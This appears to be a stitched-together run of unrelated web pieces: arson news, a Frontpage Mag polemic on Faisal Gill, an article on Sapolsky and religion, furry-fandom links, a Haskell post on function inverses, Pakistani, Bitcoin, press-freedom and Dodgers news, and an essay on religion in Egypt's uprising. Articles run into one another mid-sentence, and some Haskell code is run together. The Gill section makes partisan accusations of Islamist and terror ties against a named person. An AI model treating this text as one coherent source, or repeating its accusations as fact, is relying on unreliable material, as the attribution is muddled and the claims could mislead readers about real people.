Flames ignited inside a plastic shed connected to the Assyrian Church of the East near Willow Glen around 1 a.m., but a neighbor caught a glimpse of the blaze and called it in to authorities before it could get out of hand, according to Alex Alexander, president of the volunteer church committee at the parish.
Surveillance footage from the scene showed a person wearing a hooded sweatshirt jump a fence and light the shed, which primarily contained tools, on fire, according to Alexander. The act was something Alexander never expected to see.
"We're all kind of surprised and perplexed because we've never had anything like this happen in this area, to the church," he said. "We don't know who would want to do something like that."
Aside from being surprised, Alexander noted that the fire was "scary," and he said the possibility that it may have been caused by an arsonist "was really, really disturbing."
"What's really scary is that whoever did this actually wanted to do damage," he said.
Fire crews were able to douse the flames before they spread into the sanctuary, according to Alexander.
"We're fairly fortunate," he said. "We're grateful for our neighbors that they called the fire department, and the fire department was able to get here in time to put out the fire."
An investigation with help from the Bureau of Alcohol, Tobacco, Firearms and Explosives is ongoing.Source: An FBI-Investigated Islamist Takes Over the Vermont Democrats | Frontpage Mag – Daniel Greenfield
Vermont Democrats have something else to celebrate besides the creation and failure of the first statewide socialized medicine system in America. Recovering from that glorious triumph, Vermont Democrats have elected their first Muslim state party chairman.
The lucky fellow is Faisal Gill who called his victory a rebuke of President Trump. “To have a Muslim and immigrant to be the state party chair sends a really strong message to Trump and his type of politics that this is not where the country is at.”
Gill’s election doesn’t send much of a message about where America is at. But it certainly sends a message about where the Democrats are at.
Back when Gill was playing a Republican, courtesy of Grover Norquist, left-wing media outlets like Salon were willing to report on his troubling Islamist ties. But Faisal Gill has been reborn as a supporter of Bernie Sanders and Keith Ellison. The left has become a warm and moist safe space for Islamists. The Salon article which Gill blamed for many of his problems would be nearly inconceivable today. Could anyone really imagine a leftist publication today describing the Muslim Brotherhood as a terror nexus?
But did Faisal Gill really go from Norquist Republican to Sanders Democrat? Did he shift from believing in free enterprise to embracing Socialism? Or did Gill always hold to an overriding ideology in whose shadow the distinction between Capitalism and Socialism becomes pointless infidel quibbling?
When revelations first emerged that Faisal Gill had been under FBI surveillance, he blamed Islamophobia. When Snowden’s enemy espionage operation exposed national security documents which were published by left-wing terror apologist Glenn Greenwald and The Intercept, a site whose former writer is now charged with some of the terroristic bomb threats aimed at Jewish centers, Gill’s email appeared on a list of alleged terrorist suspects and supporters, including Al Qaeda leader Anwar Al-Awlaki.
…
Faisal Gill had neglected to mention that he had worked for the American Muslim Council. The AMC was another front for the Muslim Brotherhood. Its founder, Abdul Rahman al-Amoudi, was sent to prison due to an investigation into his involvement in a terrorism plot. Al-Amoudi had been both blatant in expressing his support for terrorism, particularly Hamas, and the need to conceal it.
The policy director for the intelligence division at the Department of Homeland Security had worked for an organization with terror ties. And he had failed to disclose his linkages to that organization.
Despite that, Faisal Gill forged on. He tried to kick off as a career as a Republican candidate.
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Gill’s Republican career faltered. But he reinvented his political identity. He moved to Vermont and began writing checks to Democrats. Over $150,000 worth. $40,000 of it has gone to the Democratic Congressional Campaign Committee making his eventual objective all too obvious.
And he embraced all the usual leftist causes. He pledged not to ask anyone if they’re an illegal alien and serves on the board of Justice for All which “identifies and dismantles institutionalized racism”. Meanwhile he’s been involved in the Apex Investment Group and the Gill Investment Group. Apex has offices in Saudi Arabia and Dubai. Because nothing says institutionalized racism like an actual slave state.
The former Grover Norquist man now supports taxes and entitlements. And he signs big checks.
Virginia Republicans turned Gill down despite the best efforts of the Norquist organization. But Vermont Democrats were eager to be bought. Vermont Dems have indeed sent a message. Not just to President Trump, but to America.
Read it all at Frontpage and as noted in the already linked article above:
As the author of that Salon.com article, Mary Jacoby noted at the time:
“The ties among Alamoudi, the Muslim Brotherhood and Gill help explain why officials are concerned about whether Gill was adequately vetted. These relationships are difficult to understand without immersion in the indictments, court transcripts and case exhibits; the concerned officials said they fear that busy political operatives in the administration simply do not grasp the national-security issues at stake. “There’s an overall denial in the administration that the agenda being pushed by Norquist might be a problem,” one official said. “It’s so absurd that a Grover Norquist person could even be close to something like this. That’s really what’s so insidious.”
Excerpt: Infiltration: How Muslim Spies and Subversives have Penetrated Washington
by Paul Sperry:
Here’s what Treasury had to say about him in 2005:Let’s put aside for a moment the question of whether, or which, religion is “true.” If you think this question is answerable, you are likely already a partisan and have taken certain claims on faith. Say we ask whether religion is good for you? What say the scientists? As always, it depends. For one thing, the kind of religion matters. A 2013 study in the Journal of Religion and Health, for example, found that “belief in a punitive God was positively associated with four psychiatric symptoms,” including general anxiety and paranoia, while “belief in a benevolent God was negatively associated with four psychiatric symptoms.”
So, a certain kind of religion may not be particularly good for us—psychologically and socially—but other kinds of faith can have very beneficial mental health effects. Author Robert Wright, visiting professor of religion and psychology at Princeton, has argued in his lectures and his bestselling book Why Buddhism is True that the 2500-year-old Eastern religion can lead to enlightenment, of a sort. (He also argues that Buddhism and science mostly agree.)
And famed Stanford neuroendocrinologist and atheist Robert Sapolsky, author of Why Zebras Don’t Get Ulcers, makes an interesting case in the Big Think video above that “this religion business” humans have come up with—this form of “metamagical thinking”—has provided a distinct evolutionary advantage.
Religion seems to be an almost universal phenomenon, as Sapolsky—who is himself an atheist—freely admits. “90 to 95% of people,” he says, “believe in some sort of omnipotent something or other, every culture out there has it.” Rarely do two cultures agree on any of the specifics, but religions in general, he claims, “are wonderful mechanisms for reducing stress."
It is an awful, terrifying world out there where bad things happen, we’re all going to die eventually. And believing that there is something, someone, responsible for it at least gives some stress reducing attributes built around understanding causality. If on top of that, you believe that there is not only something out there responsible for all this, but that there is a larger purpose to it, that’s another level of stress-reducing explanation.
Furthermore, says Sapolsky, a benevolent deity offers yet another level of stress reduction due to feelings of “control and predictability.” But benevolence can be partial to specific in-groups. If you think you belong to one of them, you’ll feel even safer and more reassured. For its ability to create social groups and explain reality in tidy ways, Religion has “undeniable health benefits.” This is borne out by the research—a fact Sapolsky admits he finds “infuriating.” He understands why religion exists, and cannot deny its benefits. He also cannot believe any of it.
Sapolsky grudgingly admits in the short clip above that he is awed by the faith of people like Sister Helen Prejean of Dead Man Walking fame, despite and because of her “irrational, nutty,” and stubborn insistence on the impossible. He has also previously argued that many forms of religiosity can be indistinguishable from mental illness, but they are, paradoxically, highly adaptive in a chaotic, world we know very little about.
In his interview at the top, he pursues another line of thought. If 95% of the human population believes in some kind form of supernatural agency, “a much more biologically interesting question to me is, ‘what’s up with the 5% of atheists who don’t do that?’”
It’s a question he doesn’t answer, and one that may assume too much about that 95%—a significant number of whom may simply be riding the bandwagon or keeping their heads down in highly religious environments rather than truly believing religious truth claims. In any case, on balance, the answer to our question of whether religion is good for us, may be a qualified yes. Believers in benevolence can rejoice in the stress-reducing properties of their faith. It might just save their lives, if not their souls. Stress, as Sapolsky explains in the documentary above, is exponentially harder on the human organism than belief in invisible all-powerful beings. Whether or not such beings exist is another question entirely.
Related Content:
Biology That Makes Us Tick: Free Stanford Course by Robert Sapolsky
Stanford’s Robert Sapolsky Demystifies Depression, Which, Like Diabetes, Is Rooted in Biology
Robert Sapolsky Explains the Biological Basis of Religiosity, and What It Shares in Common with OCD, Schizophrenia & Epilepsy
How Buddhism & Neuroscience Can Help You Change How Your Mind Works: A New Course by Bestselling Author Robert Wright
Josh Jones is a writer and musician based in Durham, NC. Follow him at @jdmagnessHeadlines, links and little stories to make your tail wag. Guest posts welcome. Tips: patch.ofurr@gmail.com.
USA Today shares a lot of new Zootopia images and story hints.
Are you excited for Disney’s new furriest movie? Mrs. Otterton’s missing husband spurs the action on. There’s “Duke Weaselton, a small-time weasel crook with a big-time mouth”. Judy Hopps is “a ground-breaking rabbit trying to make it as a cop” – it sounds like bunnies usually aren’t cops, so we get a nice hint about what species means in the Zootopia world. Enjoy more from USA Today’s exclusive Facebook gallery.
You know furries everywhere are getting ready for the 2016 Furmageddon*… in the SF Bay area, dozens are already signed up to go fursuiting to the opening in March. (*I’ve been reminded that Furpocalypse is a convention happening this weekend.)
Furries on NCIS Los Angeles.
Last week there was a CSI-style bad furry stereotype on iZombie. This week, two NCIS characters revealed furriness.
Go to 18:00 in the link. The important part starts at around 19:00. It goes for about a minute, with one more remark before the scene cuts at 21:00. It’s lightly humorous, maybe flirty banter between the two characters. They joke about how furry conventions can “go off the rails”, but that’s the worst judgement. They discuss fursonas and share appreciation, making a nice, innocuous minute in the pop culture spotlight. Isn’t that a relief?
"Yeah, I've been to Califur a few times."
Check out the episode for yourself:https://t.co/ZfJ3cgzm8F pic.twitter.com/fFhMP6rOuE — CaliFur Wild West 🐴 (@Califur) October 20, 2015
In Atlanta: Furries spread their huggable, lovable Pride.
A positive article and photo gallery (that confusingly mixes corporate mascots). Project Q is a quality queer news outlet that gave love to the Furry presence at Atlanta Pride last year too. It was notable as perhaps the first time a convention (FWA) has officially sponsored Furries in a Pride parade. I spy Alkenta Wildcat in the photos (right), a previous member of the San Francisco furry community who participated in SF Pride events too. Isn’t it great how furriness spreads?
Watch These Fake Frosted Flakes Commercials Before Kellogg Takes Them Down.
On Digg.com. Tony is motivational for all the wrong reasons. This is a good occasion to remind you that Dogpatch Press has no morals about publishing sextapes of cereal mascots. Got one? We’ll make a bidding war with Gawker.
VICE: The Strange Story of the Video Game That’s ‘GTA with Dogs’.
A pro basketball player’s career was shut down by a broken leg. While recovering, he taught himself to make his own video game, trading basketball for dogs. Speaking of sportsball – I always say I’d love a game where teams of mascots play around with one sports guy. This should tell you how I don’t get it much. OK, but this guy gets respect for multi-talents.
H.R. PUFNSTUF comes back to TV – the cult 1970’s kid’s show by Sid and Marty Krofft returns as Nick Jr.’s “Mutt & Stuff.”
The show has “dog whisperer” Cesar Millan, his son Calvin, and Stuff the dog. Now I can’t stop thinking about 7-foot-tall furry hugs.
Bronies: The grown ups obsessed with My Little Pony. A standard introduction in Australia’s Daily Telegraph.
Werewolf News – CALL FOR PITCHES: WEREWOLVES VERSUS ROMANCE.
The high quality of the Werewolf News blog is super inspiring. Now it’s publishing a creative magazine just for the heck of it.
I’m not looking for a bunch of conventional romance stories (or comics, or poems) where one or both partners are lycanthropes. I want to see first dates ruined by overzealous monster hunters on patrol, pickup artists ground into hamburger for trying to neg the wrong person, and polyamorous triads trying to work out pack dynamics.
Bojack Horseman hangs with “furry” fans at Comic Con.
On Instagram: “kind people, but tremendously squeaky people… and i am really not comfortable with anyone trying to touch my nose. ever.”
Amazing Cosplay: Robin Hood in Disguise. Nice legs!
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AMAZING FURRY NEWS COMING SOON – You Won’t Believe Who Got Yiffed In #6!
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The Top 10 Knots You Saw In Boy Scouts — Dogpatch Press (@DogpatchPress) September 4, 2015
Feline Boyfriend Dumped For Being A Cheetah — Dogpatch Press (@DogpatchPress) September 4, 2015
Least Popular Fursuit Accessories - Heater Installed In Muzzle — Dogpatch Press (@DogpatchPress) September 4, 2015
Tragedy Strikes Furry Bowling Meet When Mole Comes Out Wrong Hole — Dogpatch Press (@DogpatchPress) September 4, 2015
Parents Might Not Be Joking About Putting Furry Kid Through Puppy Obedience School — Dogpatch Press (@DogpatchPress) September 4, 2015JERUSALEM — A Jerusalem rabbinical court condemned to death by stoning a dog it suspects is the reincarnation of a secular lawyer who insulted the court’s judges 20 years ago, Ynet website reported Friday.
According to Ynet, the large dog made its way into the Monetary Affairs Court in the ultra-Orthodox Jewish neighbourhood of Mea Shearim in Jerusalem, frightening judges and plaintiffs.
Despite attempts to drive the dog out of the court, the hound refused to leave the premises.
One of the sitting judges then recalled a curse the court had passed down upon a secular lawyer who had insulted the judges two decades previously.
Their preferred divine retribution was for the lawyer’s spirit to move into the body of a dog, an animal considered impure by traditional Judaism.
Clearly still offended, one of the judges sentenced the animal to death by stoning by local children.
The canine target, however, managed to escape.
“Let the Animals Live”, an animal-welfare organisation filed a complaint with the police against the head of the court, Rabbi Avraham Dov Levin, who denied that the judges had called for the dog’s stoning, Ynet reported.
One of the court’s managers, however, confirmed the report of the lapidation sentence to Israeli daily Yediot Aharonot.
“It was ordered… as an appropriate way to ‘get back at’ the spirit which entered the poor dog,” the paper reported the manager as saying, according to Ynet.
Certain schools of thought within Judaism believe in the transmigration of souls, or reincarnation.On Inverses of Haskell Functions
Recall that given a function, a function is called a left inverse of f in case. In other words, we want g to undo whatever f did to its parameter. A function has a left inverse if and only if it is injective, a.k.a. one-to-one.
Question: How can we obtain left inverses of Haskell functions automatically?
In other words, I’d like to have a function
f :: a -> b
and obtain, without explicitly writing it, another function
g :: b -> a g. f = (id :: a -> a)
I might first set out to accomplish the gold standard; to do this automatically, for an arbitrary domain. Alas I wouldn’t get very far. To succeed in that task would imply that the proposition is constructively valid. But it isn’t even classically valid, so that’s hopeless. Of course, if the domain of f is enumerable, I can in principle simply try all inputs to f in parallel until I find one that works… this is not terribly satisfying, however; it’s completely impractical for most purposes.
So what if I restrict the domain of f further? In particular, I will require that f operate polymorphically on values of some type class, and then restrict the type class to ensure that I can get inverses easily. By requiring that f be polymorphic, I can ensure that only “good” (i.e., easily invertible) things happen in the implementation of f. (By the way, we need rank-2 types for this.)
class Fooable a where foo :: Int -> a -> a foo' n = foo (-n) -- an inverse for (foo n)
I now proceed to implement an automatic inverter for functions defined from and to Fooable types.
newtype FooInversion = FooInversion { unInversion :: Fooable a => a -> a } instance Fooable FooInversion where foo n (FooInversion inv) = FooInversion (inv. foo' n) invertFooable :: Fooable a => (forall b. Fooable b => b -> b) -> a -> a invertFooable f = unInversion (f (FooInversion id))
Finished! I did something a little tricky there, I suppose — I defined functions from Fooable things to Fooable things to actually be Fooable things themselves. Not too unusual a trick to play in abstract algebra, really.
-- Declare a Fooable instance for testing instance Fooable Int where foo = (+) -- Define a QuickCheck property to ensure it's working prop a b = invertFooable (foo b) a == a - b
Unfortunately, while this worked out, it’s fairly fragile. It turns out that Fooable isn’t really a terribly useful type class. The only fully polymorphic functions that can be defined from Fooable things to other Fooable things are actually finite iterations of one operation. I can add other operations, sure, but the thing I’m missing is any kind of choice. Since I have no way to inspect the value I’ve got as input to my function, I can’t make good use of if, case, pattern matching, or anything else of that form. While it might be interesting to characterize precisely what type signatures can exist in the Fooable type class without making inversion impossible, I’m going in a different direction.
Suppose that Fooable contained functions to inspect properties of the value you’re working with. Then we can’t play the trick above quite as cleanly as one might hope.
class Barrable a where look :: a -> Int bar :: Int -> a -> a bar' n = bar (-n)
Now if we tried to proceed as before, how should we define look in the inversion instance? Really, we can only get an inverse for specific sequences of operations that we end up in, when computing in the forward direction. To implement that, we need to know the input (for the forward function) in advance, and compute with it.
data BarInversion a = BarInversion { unBarInversion :: Barrable b => b -> b, barInvertible :: a } instance Barrable a => Barrable (BarInversion a) where look (BarInversion f x) = look x bar n (BarInversion f x) = BarInversion (f. bar'') (bar n x) where bar'' y = let y' = bar' n y in if look y' == look x then y' else undefined invertBarrable :: (Barrable a, Barrable b) => a -> (forall c. Barrable c => c -> c) -> b -> b invertBarrable x f = unBarInversion (f (BarInversion id x))
This is similar to what was done above, except for two changes:
In addition to an inverse function, BarInversion carries around a current value at which the inverse is defined. The inverse function checks to ensure that all the properties of the current value that are observable via the type class are the same, since the original function might have relied on those properties in deciding what to do. If they don’t match, it gives up.
The intention is that our look function doesn’t really give away the house; i.e., it provides partial, not complete, information about the value. So for our test case, we’ll only give partial information:
instance Barrable Int where look n = n `div` 5 bar = (+)
Now:
let f = invertBarrable 5 (bar 2) f 7 == 5 f 8 == 6 f 9 == 7 f 10 == 8 f 11 == 9 f 12 == *** undefined ***
In other words, as long as the input is observably the same as the point at which we performed the forward calculation, the inverse is available. If not, then the result is undefined. We’ve got a partial inverse, at least.
It’s worth noting that even if the inverse were only defined at the one point we started with, the inverse function could be valuable. Note that the type of invertBarrable only requires that x be of some Barrable type, and that the inverse operation on som Barrable type. They need not actually be the same type! This is quite useful if, for example, you want to trace some other computation through the calculation of the inverse. I think I’ll write another blog post on the practice of tracing one calculation through another one using type classes… but, some other time.
AdvertisementsISLAMABAD: The adviser to prime minister on foreign affairs, Sartaj Aziz, told Senate that the exclusion of some Islamic countries from the Saudi-led 34-nation anti-terror alliance will be discussed at international level.
Answering a question posed by Senate chairman on exclusion of Syria, Iraq and Iran from the Saudi-led alliance, Aziz said on Monday the issue would be discussed in upcoming meetings in the next couple of weeks and also in the upcoming Organisation of Islamic Countries (OIC) summit.
"We have some ideas about the issue which are yet to be discussed,” he added.
Related: Pakistan part of 34-state Islamic military alliance against terrorism, says KSA
Aziz, while winding up a motion moved by Senator Sehar Kamran about success and failure of Pakistan's foreign policy, said the prime objective of country's foreign policy was to protect Pakistan's interests, sovereignty, security and non-interference in other countries' affairs.
He was of the view that Pakistan took principled stance on all issues including those of Middle East and Arab countries.
“On the Syrian war, we supported Syrian sovereignty and territorial integrity while on Yemen issue we showed solidarity with Saudi Arabia and stressed peaceful resolution of the issue through dialogue process,” said the premier's adviser.
Related: UAE minister warns Pakistan of ‘heavy price for ambiguous stand’ on Yemen
Spelling out the top priorities of country's foreign policy,Aziz said that Pakistan believes that a peaceful neighbourhood is essential for economic revival and progress, adding the country's focus was on trade and investment and not aid.
Aziz added that when the PML-N came into power, the prime minister wrote letters to all missions that economic diplomacy was the country's top priority.
Talking about recent terrorists incidents in Afghanistan, he said that it was Afghanistan's internal issue, adding that "Pakistan has no favourite group in Afghanistan and it is committed to durable peace in the neighbouring country".
Aziz claimed that that due to successful foreign policy of Pakistan, Indian government came upon the table to start comprehensive dialogue process with Pakistan on all outstanding issues, as Pakistan has successfully and forcefully presented its case on all international forums.
Related: Pakistan, India agree to restart ‘comprehensive’ dialogue process
He also informed the Senators that due to successful foreign visits of Nawaz Sharif, foreign investment and mega projects have been initiated.
He added that due to the foreign policy pursued by the regime, a country like Russia has promised investment in gas pipeline and the Central Asian Countries have also shown willingness to join China Pakistan Economic Corridor (CPEC) project.(Shutterstock)
SÃO PAULO - Depois de atingir máxima em US$ 11.427 nesta terça-feira (29) e ameaçar uma correção, o Bitcoin voltou a ganhar força neste início de tarde com a notícia de que a Nasdaq pode se juntar com a CME (Chicago Mercantile Exchange) e lançar contratos futuros da criptomoeda no primeiro semestre do ano que vem, segundo informações do jornal Wall Street Journa l.
Workshop Online Gratuito - Para onde vai a Bolsa, o dólar e o Bitcoin em 2018?
No começo do mês, Terry Duffy, diretor-executivo da bolsa de Chicago, afirmou que o crescente interesse de seus clientes, ou seja, corretoras de valores, foi o gatilho para a tomada de decisão, que deve ser oficializada na segunda semana de dezembro. Com o lançamento destes ativos, o mercado deve mudar drasticamente, ganhando muita força já que dá ainda mais segurança para quem quer investir em Bitcoin, o que automaticamente eleva a demanda pela moeda digital.
Com o bitcoin superando a tão aguardada marca de US$ 10 mil na tarde de terça-feira (28), a expectativa agora fica para até onde a principal criptomoeda do mundo pode ir. Apesar dos temores e debates sobre uma bolha, o ex-gestor do hedge fund Fortress, Michael Novogratz, disse à CNBC que espera que o Bitcoin se multiplique mais de quatro vezes nos próximos 13 meses. "O Bitcoin poderia estar em US$ 40.000 no final de 2018. Poderia facilmente", afirmou - veja a reportagem completa aqui.Kurdish military forces expel Al-Ahad TV reporter from Kirkuk province
Beirut, October 2, 2017--Kurdish regional authorities in northern Iraq should immediately allow Al-Ahad TV correspondent Saif Rida to safely return to Kirkuk province and resume his work as a journalist, the Committee to Protect Journalists said today.
Kurdish military groups on September 30 threatened to arrest Rida for reporting critically on the September 25 Kurdish independence referendum and then ordered him to leave Kirkuk, according to the local press freedom group Press Freedom Advocacy Association in Iraq and Rida's employer, which is affiliated with the Iran-backed Shia militia Asaib Ahl al-Haq.
The administrative director of Al-Ahad TV Abu Tayeba told CPJ that the order for Rida to leave came after the channel aired reports opposing the Kurdish independence referendum. Rida left Kirkuk province with his family for Baghdad on the same day he was threatened.
"Kurdish authorities in northern Iraq should practice the democracy they preach and allow journalists to cover all opinions, even those with which they disagree," CPJ Middle East and North Africa Program Coordinator Sherif Mansour said from Washington, D.C. "We call on Kurdish authorities to allow Saif Rida to return to his work in Kirkuk province without fear of reprisal."
Last month, Rida reported on the deteriorating security situation for Arabs and the Turkmen minority in the oil-rich disputed area of Kirkuk, a multi-ethnic city under Kurdish control that has long been contested between the central Iraqi government and Kurdish regional authorities. Rida also worked on a story published in April about the increasingly strained relations between the central Iraqi government and the Kurdish authorities in northern Iraq over the status of Kirkuk.
The Kurdish authorities didn't immediately reply to CPJ's request for comment. Rida's expulsion comes as tensions are high between Kurdish authorities and the governments of Iraq, Iran, and Turkey in the wake of the independence referendum.
On August 30, 2017, the Kurdish authorities blocked the local broadcast signal of regional broadcaster NRT (Nalia Radio and Television) for one week for trying to air a program about the "No for Now" campaign, which called to delay the Kurdish independence vote, CPJ documented.McCourt said he would take $300 million from the TV deal with Fox and put it into the Dodgers and not toward funding a possible settlement in his divorce. McCourt said the 17-year deal with Fox could be worth more than $3 billion.
"The lack of a decision to allow us to do this media transaction is what's creating all of this noise about the financial duress of the Dodgers," he said.
McCourt said the team can meet its payroll.
"We are current on all of our obligations, all of our payments," he said. "We have never asked for a penny of emergency funding from MLB."
McCourt implied that Selig is attempting to force him to sell the Dodgers.
"It is my personal opinion that there has been a predetermined end result here and that this investigation is not a genuine one," McCourt said. "It is designed to interfere with our ability to close this transaction."
However, in a statement released after the news conference Wednesday, Manfred took issue with McCourt's comments, both for airing them publicly and for being "not accurate."
"It is unfortunate that Mr. McCourt felt it necessary to publicize the content of a private meeting," Manfred said in the release. "It
is even more unfortunate that Mr. McCourt's public recitation was not accurate. Most fundamental,
Commissioner Selig did not'veto' a proposed transaction. Rather, Mr. McCourt was clearly told that the
Commissioner would make no decision on any transaction until after his investigation into the Club and its
finances is complete so that he can properly evaluate all of the facts and circumstances."
McCourt hinted at a possible lawsuit against Selig and Major League Baseball.
"I have not decided exactly what we're going to do, but we will keep you posted," McCourt said. "As I said, I am not going anywhere. This is the team I love and the community I love. These are my hard-earned dollars I put into this franchise, and I am going to protect my rights, obviously."
McCourt also was asked to clarify a statement he made to a television reporter earlier in the day in which he called Selig "un-American."
"What I said was un-American was somebody's property being seized unlawfully," McCourt said. "There are core values in this country, and fairness is one of them. Transparency is another, and private property is another. Thankfully, it's not appropriate for one person's property to be seized by somebody else just because they get divorced or just because of some arbitrary reason. That is one of the great core principles and core values of this country, and that is what I'm referring to when I say it's just un-American to me."
Selig appointed former Texas Rangers president Tom Schieffer on Monday as a monitor to oversee the team's finances.
"There's nothing more American than following the law, and that's what we're doing in this regard," Schieffer said Wednesday night on 710 ESPN's Mason & Ireland radio show.
McCourt implied that he doesn't believe Schieffer is being sent to monitor the Dodgers so much as he is being sent to wrest the organization from McCourt's control and that, as such, McCourt isn't likely to cooperate with Schieffer.
"I am not sure that we got clarification on that because we did have discussions on that and there still seems to be some confusion as to what the responsibility of the monitor is," McCourt said. "Words are funny things just because you can call somebody a monitor and not make them a monitor. What was explained to us as the role of this monitor is nothing short of a receiver, somebody who would come in and control my business, and I'm not going to accept that for sure."
Meanwhile, Manfred challenged McCourt's notion that MLB had "seized" the Dodgers and disputed McCourt's claim that Schieffer's role with the Dodgers wasn't discussed during the meeting.
"There has been no seizure of the Los Angeles Dodgers," he said in the release. "Mr. Schieffer has been
appointed as a monitor, and a multi-page written directive from the Commissioner describing his role has
been provided to Mr. McCourt. In our meeting, no one from the Dodgers asked a single, specific question
about the terms of the document setting forth the monitor's role.
"Finally, Mr. McCourt is well aware of the basis of Baseball's investigation and has been provided an
eight-page document describing the issues of concern to Major League Baseball."
Tom Schieffer, appointed by commissioner Bud Selig to oversee the Dodgers, talks about his role Wednesday at a news conference in Los Angeles. AP Photo/Reed Saxon
Schieffer held a news conference in Los Angeles later Wednesday, saying he has yet to be fully briefed on the team's finances and is looking forward to meeting with McCourt.
McCourt's defiant tone was in direct contrast to the folksiness of Schieffer, the brother of CBS' "Face the Nation" host Bob Schieffer.
"I look forward to talking to Mr. McCourt and hopefully we can have a nice visit and see what it is he's concerned about," said Schieffer, who listened to McCourt's conference call with reporters before his own news conference at a hotel near Los Angeles International Airport. McCourt's remarks delayed Schieffer's appearance at the podium by nearly 30 minutes.
McCourt said Schieffer's appointment has created "chaos."
Schieffer affirmed that McCourt was the owner of the franchise, but said that the commissioner of baseball was currently running the team. He viewed his position as a representative extension of the commissioner's office, operating from offices at Dodger Stadium "until the job is done."
Asked if he anticipated any problems with McCourt, Schieffer said, "I hope that there won't be friction but that's really his choice."
Pressed on whether he was concerned about his impending dealings with McCourt, Schieffer said, "I've dealt with the North Koreans."
Schieffer was U.S. ambassador to Australia and Japan under former President George W. Bush and is now senior counsel at a law firm.
Schieffer sought to reassure Dodgers fans about the future of the storied franchise, saying he wanted to "give them some confidence that the instability and turmoil is coming to an end."
Schieffer said he hoped to open an office at Dodger Stadium in the coming days and meet with team employees. He said he has no timetable in which to complete his job, and he said Selig hadn't discussed salary when he accepted the position on Monday.
Schieffer said on Mason & Ireland that he didn't think the Dodgers' baseball operations would be hamstrung by the turmoil, citing the Rangers' run to the World Series last year despite having an MLB-appointed overseer.
"[Dodgers GM] Ned [Colletti] is working under a budget, and he has the ability to move the numbers around with that budget and whatnot," Schieffer said. "Again, I think the situation in Texas is a good template. John McHale was there and he understood because he'd been through it himself as a general manager. He knew what it was to acquire that last piece of the puzzle to get [the Rangers] to the World Series. That's what they did. It worked, and I think that's a good template for all of us and one that could serve us well here."Bill Maher just said the n word, @BenSasse didn’t look horrified, and the audience applauded. pic.twitter.com/kFAs1S3dyM — Yashar Ali (@yashar) June 3, 2017
Comedian Bill Maher has apologized for using the n-word during the Friday, June 2 segment of ‘Real Time with Bill Maher.” Immediate backlash erupted against him and the surprising support or lack of anger from |
life and the sacred. But this religiosity is not always accompanied by a social, political, and legal consciousness, and sometimes it is [merely] formal or superficial or ritual. The importance of religiosity in the January 2011 revolution was that it formed the moral background to the conscience of the revolution even if its discourse didn’t display that clearly. As for the events of 3 July 2013 and later, the powerful propaganda that preceded 3 July joined in distorting and treating with contempt the Islamists in preparation for the events of 3 July and after. And the matter reached the point of doubting even what is sacred.... This was what weakened the values and meanings of fundamental religiosity that forbids the shedding of blood and commands what is right and forbids what is wrong and tyrannical (al-qiyam wa ma‘āni at-tadiyyun al-asāsiyya allatī tahrum safk ad-dimā wa ta’mur bi-l-ma‘rūf wa tanhi ‘an al-munkar wa-z-zulm) and so millions of people confirmed and excused and supported ugly behavior that was without historical precedent. So here was where superficial religiosity failed because of its separation from values and norms.
Abu-l-Futuh’s observation on the massacres[28] of pro-Mursi protesters by the military regime extends amr bi-l-ma‘rūf into an explicitly political context. He invokes amr bi-l-ma‘rūf as a religious tradition that authorizes the cultivation of politically relevant virtues. What he sees that tradition as offering is not a rule about right and wrong (as in a court of law) but the ability to recognize a particular injustice and to react to it by demanding “a return” to justice—without having to calibrate the matter by reference to generalizable moral principles. Even if that ability is not always acquired perfectly, it is what that tradition, as embodied practice, seeks to build. And where the building is successful, it enables daily life to be lived without having to find justifications for moral—or political—obligation.[29]
III
So I turn to the January 2011 uprising and what followed the ouster of President Mubarak, and ask how religion, authority, and tradition are linked together in that story. One cannot seriously maintain that “religious tradition” was a significant inspiration to that overthrow of authority,[30] but there can be no question that since the fall of Mubarak religion has been involved in a complicated way in what followed that remarkable event. In a well-known essay Hannah Arendt has traced a very specific concept of tradition that was central to European history, in which it was bound closely to both authority and religion, such that undermining of the one inevitably led to the undermining of the other two.[31] This historical sketch of tradition is relevant to the Middle East because it begins with the Greco-Roman experience that is part of the classical heritage of both the northern and the southern lands of the Mediterranean,[32] and it ends with post-Enlightenment European political thought and practice that have had a profound impact on Muslim societies ever since the beginning of the nineteenth century.
Arendt argues that with the rise of modern science the authority of “religion” was irretrievably lost, and so tradition as idea and practice was also undermined—or, at any rate, radically transformed. The idea and practice of tradition that post-Revolutionary Europe identified and critiqued emerged, says Arendt, not with the Greeks but with the Romans, and crucial to that conception were two things: The notion of foundation (the sacred foundation of Rome, the state that Roman politics sought to preserve and extend) and a religion of the ancestors essential to Roman political identity. Arendt notes that the Latin for “authority” (auctoritas) derives from the verb “to augment” (augere), and that what those in authority sought to augment was the foundation. Although authority was rooted in the past, this past was present in the actual life of the city especially in the domestic rituals of the Romans. Authority, tasked with augmenting the foundation, was vested in the Senate and distinguished from power (potestas)—or the capacity to use force—that the people possessed. In the early centuries of the Christian era, says Arendt, the Church took over Rome’s political constitution, the most significant aspect of which was its adoption of the distinction between authority and power, conceding political force to the secular arm (the princes) and reserving for itself the authority of the keeper of the Christian tradition. There was, nevertheless, a link between the two—as there was in medieval Muslim governance between the collective authority of the ulama and the individual amir’s power, where the latter was expected to adjust his civil actions to the normative demands of the shari‘a as articulated and maintained by the former.[33] The important difference, of course, is that the ulama did not have a monopoly on pastoral care as the Church did. With the modern attempts at building the sovereign nation-state, religious authority was detached from political tradition and political authority was thereby secularized—which is not to say that “religion” was henceforth never used by the state to legitimate its actions but that “politics” has come to be very differently articulated from the configurations of power and authority that had previously prevailed.[34]
One of Arendt’s points is that although the bond between authority and religion has dissolved in Europe, the Roman experience of foundation has survived—and therefore, too, a crucial sense of tradition. In fact since a foundation is itself a rupture from the past and an opening to the future, this very ambiguity lends itself to the concept of revolution. But when the Roman conception of founding a political tradition becomes sharply separated from religious authority in thinkers such as Robespierre, the authority of a popular revolution becomes merged with the necessity of violence. The violent founding of a nation-state becomes a kind of tradition for as long as the state’s foundation is invoked and explicitly augmented. Arendt tells us that since the American and French Revolutions a fused form of authority-power becomes instrumental. In the concept and practice of revolution it was not the use of violence that was new but its role in constituting a new legitimate order for the good of the People’s future. What she doesn’t note, however, is that coup d’ètat belongs to the same family of political violence as revolution but differs from the latter in being a challenge from within the governing elite, one that aims to change only the rulers of the state not the system itself, but that legitimates itself in terms of necessity (saving the nation and ensuring its progress).
